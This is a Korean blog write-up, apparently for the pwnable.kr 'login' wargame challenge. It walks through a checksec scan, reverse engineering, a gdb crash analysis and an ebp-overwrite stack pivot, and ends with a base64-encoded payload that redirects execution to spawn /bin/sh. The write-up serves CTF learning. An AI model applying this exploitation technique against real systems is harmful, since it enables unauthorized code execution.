바이너리 보안기법 검사 (checksec.sh)


 # /home/u32/Desktop/checksec.sh --file ./login                                                                        

RELRO           STACK CANARY      NX               PIE               RPATH        RUNPATH        FILE       

Partial RELRO   Canary found        NX enabled    No PIE          No RPATH   No RUNPATH   ./login


NX, Stack canary enable 확인





바이너리 리버싱



소스코드를 보면 Base64Decode한 값을 input으로 memcpy 하는 것을 확인할 수 있음.

여기서 auth(v6) 함수의 return 값이 1이면 correct() 함수 실행


correct() 함수 내부는 

 

input의 4바이트 값이 0xDEADBEEF 와 같으면 /bin/sh 실행하게 됨.



if 조건을 확인하는 auth() 함수는 아래와 같으며 함수를 대충 살펴보면 md5 계산한 해쉬 값이 f87... 와 같으면 True를 리턴하는 것 같다.



calc_md5, base64 decode 함수 따라가보면서 값을 tracking 해보려다가 다음과 같이 같은 값을 넣어도 hash 값이 계속 변동되는 것을 확인했다



즉 이 hash 값을 비교해서 correct() 로 넘어가는 게 의미 없는 상황이 됨. 어떻게 /bin/sh를 실행시킬까


여기서 AAAABBBBCCCC 12바이트를 인코딩한 QUFBQUJCQkJDQ0ND 를 입력값으로 넣으면 프로그램이 Segmentation fault를 뜨면서 죽는다.


Program received signal SIGSEGV, Segmentation fault.     

0x08049424 in main ()




Error 분석(main() 0x08049424)


Segmentation fault 시 register 값 확인


 Breakpoint 2, 0x0804941f in main ()                      

(gdb) i r                                                          

eax            0x0      0                                        

ecx            0x32     50                                      

edx            0x80da684        135112324                

ebx            0x80481d0        134513104                

esp            0xbfffee60       0xbfffee60                  

ebp            0x43434343       0x43434343              

esi            0x0      0                                         

edi            0x811b00c        135376908                 

eip            0x804941f        0x804941f <main+274>

eflags         0x200297 [ CF PF AF SF IF ID ]            

cs             0x73     115                                     

ss             0x7b     123                                     

ds             0x7b     123                                     

es             0x7b     123                                    

fs             0x0      0                                         

gs             0x33     51             


위 레지스터 값에서 보이는 것과 같이 12바이트 중 마지막 4바이트 값이 ebp로 설정된다는 것을 알 수 있다.

이 상황에서 Segmentation fault 뜨는 원인을 찾아보면 leave; ret;은 즉


leave 

mov esp,ebp

pop ebp


ret

pop eip

jmp eip


과 같다.

잘못된 ebp의 값이 esp로 들어간 후 pop 명령을 수행하게 되므로 문제가 생기는 상황.


정리해보면

1. ebp를 통한 esp 컨트롤 가능.

2. 2번째 pop 명령 결과가 eip로 들어감.


이 두가지 조건을 이용해 조작가능한 메모리공간 8바이트(dummy 4바이트 + EIP 4바이트)가 추가로 있으면 EIP 컨트롤이 가능할 수 있다

바이너리가 돌고 있는 서버는 ASLR이 적용되어있으므로 스택의 임의주소는 사용하지 못함


main 함수의 코드를 다시 보면 input은 전역 변수이므로 메모리 주소(0x0811eb40)가 고정임을 알 수 있다



Exploit을 위한 입력값은 다음과 같이 구성한다.

AAAA +  0x08049278  + 0x0811eb40

   1.               2.                 3.

1. dummy 4바이트

2. main() 에서 /bin/sh를 실행하는 주소

3. input 메모리 시작 주소


little endian 이므로 이를 고려하고 base64 encoding 해주면 결과값(QUFBQXiSBAhA6xEI)을 구할 수 있다

(pwntools 이용해서 깔끔하게 코드 짜려다가 다음 기회로...)





결과 확인




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

+ Recent posts